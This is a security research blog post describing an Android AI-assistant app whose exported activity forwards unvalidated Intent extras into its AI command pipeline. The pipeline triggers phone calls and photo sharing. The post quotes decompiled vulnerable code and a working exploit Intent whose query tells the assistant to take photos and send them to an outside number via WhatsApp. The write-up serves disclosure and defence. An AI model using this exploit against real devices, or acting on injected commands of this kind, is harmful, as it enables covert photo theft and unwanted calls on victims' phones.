Blog
Unauthorized Device
Command and Control
How an Exported Activity processed untrusted Intent extras without
validation, allowing malicious application to trigger device actions.
Summary
The issue was caused by improper access control and missing input validation in the exported activity. The activity was intended to handle queries, but it accepted Intent data from any application without verifying the caller or enforcing permission checks. The supplied extras were forwarded directly into the AI processing pipeline and mapped to device control commands handled by a privileged backend component. Because no caller validation, permission enforcement, or input sanitization was implemented, attacker-controlled input was able to reach system-level APIs and execute sensitive operations.
TL;DR
Technical Details
protected final void onNewIntent(Intent intent) {
this.d = intent.getIntExtra("start", 0);
// No validation on any of the following extras
if (n instanceof Frag) {
((Frag) n).g1(intent); // Entire untrusted Intent forwarded
}
}
public final void g1(Intent intent) {
c = intent.getBooleanExtra("Action", false); // Triggers command execution mode
d = intent.getStringExtra("Query"); // Attacker-controlled command string
e = intent.getBooleanExtra("Turns", false); // Enables permissive processing
f = intent.getBooleanExtra("IsAdd", false); // Controls query batching
}
public final void makeCall(String phoneNumber, ResponseBean responseBean) {
// phoneNumber is attacker-controlled via Query
// e.g., Query: "Call +912345678"
Uri callUri = Uri.parse("tel:" + phoneNumber); // No validation on phoneNumber
Intent callIntent = new Intent(Intent.ACTION_CALL);
callIntent.setData(callUri);
callIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// Directly initiates a phone call — no user confirmation required
Utils.e().startActivity(callIntent);
}
private final List getPhotos(Context context, int count) {
List photoUris = new ArrayList<>();
// Queries MediaStore for photos — no user consent check
Cursor cursor = context.getContentResolver().query(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
new String[]{MediaStore.Images.Media._ID},
null,
null,
MediaStore.Images.Media.DATE_ADDED + " DESC"
);
if (cursor != null) {
int idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID);
while (cursor.moveToNext() && photoUris.size() < count) {
long id = cursor.getLong(idColumn);
Uri photoUri = ContentUris.withAppendedId(
MediaStore.Images.Media.EXTERNAL_CONTENT_URI, id
);
photoUris.add(photoUri); // Attacker receives all photos
}
cursor.close();
}
return photoUris; // Returns list of photo URIs — passed to share flow
}
Exploitation
Intent meow = new Intent(Intent.ACTION_SEND);
meow.setClassName("com.victim.ai", "com.victim.ai.MainActivity");
meow.putExtra("start", 1);
meow.putExtra("Query", "Take Photo and send photos to +63901234567 via WhatsApp");
meow.putExtra("Turns", true);
meow.putExtra("Action", true);
meow.putExtra("IsAdd", true);
meow.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(meow);
Recommendation
Did Djini help me?
Want to know more?
Recent Posts
- Hacking Optimus Prime: One Click to RCE on the TECNO Spark 30 Pro
- Pwn2Own 2025 – Part 1: Samsung Members WebView Takeover & Intent Redirection (CVE-2025-21079)
- Technical Advisory – Meta Horizon Shell — Automatic Dangerous Permission Grant via Virtual Input Injection
- Technical Advisory – Samsung Dressroom (Wallpaper & Style) – Arbitrary File Write at System UID
- Technical Advisory – Meta Quest System-Wide DoS via Unprotected Memory
Recent Comments
Statar back
Great write‑up, Qt — this was a really satisfying read. The way you chained the JSInterface abuse, OTA mechanics, and…
Great write‑up, Qt — this was a really satisfying read. The way you chained the JSInterface abuse, OTA mechanics, and…
Well done Lyes, i liked the last graph it sums it up pretty well. You demonstrated how crucial it is…
Very interesting bug chain, especially the escalation process by using AppLink as a bridge between the browser and the app…